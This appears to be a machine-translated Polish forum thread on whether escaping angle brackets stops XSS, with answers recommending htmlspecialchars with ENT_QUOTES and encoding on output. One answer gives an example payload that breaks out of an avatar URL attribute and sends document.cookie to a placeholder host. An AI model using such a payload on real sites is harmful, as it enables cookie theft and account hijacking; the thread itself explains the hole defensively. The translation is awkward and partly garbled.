Chcę wiedzieć, czy wprowadzenie dwóch znaków <
i >
wystarczy, aby zapobiec zastrzykom XSS?Zastępuje się: < and > z <i> wystarczy, aby zapobiec wstrzyknięciu XSS?
A jeśli nie, dlaczego? A jakie jest najlepsze rozwiązanie?
Chcę wiedzieć, czy wprowadzenie dwóch znaków <
i >
wystarczy, aby zapobiec zastrzykom XSS?Zastępuje się: < and > z <i> wystarczy, aby zapobiec wstrzyknięciu XSS?
A jeśli nie, dlaczego? A jakie jest najlepsze rozwiązanie?
To zależy w dużej mierze od kontekstu.
Sprawdź ten przykład z typowym miejscu forum ...
Możesz Hotlink swój awatar. Wprowadź pełny adres URL.
Złośliwy użytkownik wpisze w polu wejściowym
http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie)
Nie ma kodowanie nie mniej niż i powyżej, ale wciąż wielka dziura bezpieczeństwa.
Z pomocą htmlspecialchars()
, dobrze jest zrobić (lub użyć) funkcję owijki, która rzuca na ciąg, zapewnia łatwiejszy sposób wyłączenia podwójnego kodowania (jeśli to konieczne) i zapewnienia, że używa poprawnego zestaw znaków twojej aplikacji. Kohana ma numer great example.
Należy również wziąć doublequotes "
, singlequotes '
i ampersandy &
pod uwagę. Jeśli robisz to wszystko podczas wyświetlania/generowania danych wyjściowych, to tak, wystarczy.
Trzeba tylko zapewnić, że robisz to dla dowolnym wejściowych użytkownika kontrolowanych parametrów, takich jak żądanie, żądanie URL, nagłówki życzenie i danych wprowadzonych przez użytkownika, który jest sterowany przechowywanych w magazynie danych.
W PHP można to zrobić za pomocą htmlspecialchars()
, a w JSP cou można to zrobić za pomocą JSTL <c:out>
.
Uwaga ' htmlspecialchars' domyślnie ucieka tylko podwójną treść, a nie singiel. Ale zwykle jest to w porządku, ponieważ rzadko używa się pojedynczego cudzysłowu jako ogranicznika atrybutu. Użyj 'ENT_QUOTES', aby upewnić się, że uzyskasz oba. – bobince
Witam, dziękuję wszystkim za odpowiedzi, poprosiłem o to, ponieważ myślę, że wejście wszystkich bohaterów zajmuje więcej miejsca w bazie danych. dzięki – Ryan
Nie zakodowałbym wchodzenia do bazy danych, ale kodowania wychodzi. Dobrym pomysłem jest przechowywanie danych użytkownika "tak jak jest" i zapewnienie mechanizmu zapewniającego bezpieczeństwo podczas wyświetlania. – alex
Całkowicie zgadzam się z podejściem keep-it-raw-until-it-hits-the-page, jednak zdecydowanie odradzam "wyłączanie podwójnego cytowania", ponieważ spowoduje to zniekształcenie łańcuchów. Na przykład, jeśli chcę powiedzieć "&" we wpisie mówiącym o takim kodzie HTML, opcja nie uda się uciec do '& amp;' w źródle i w konsekwencji pojawi się jako '&' na ekranie , dzięki czemu wyglądam jak idiota. Kodowanie to proces, a nie stan. – bobince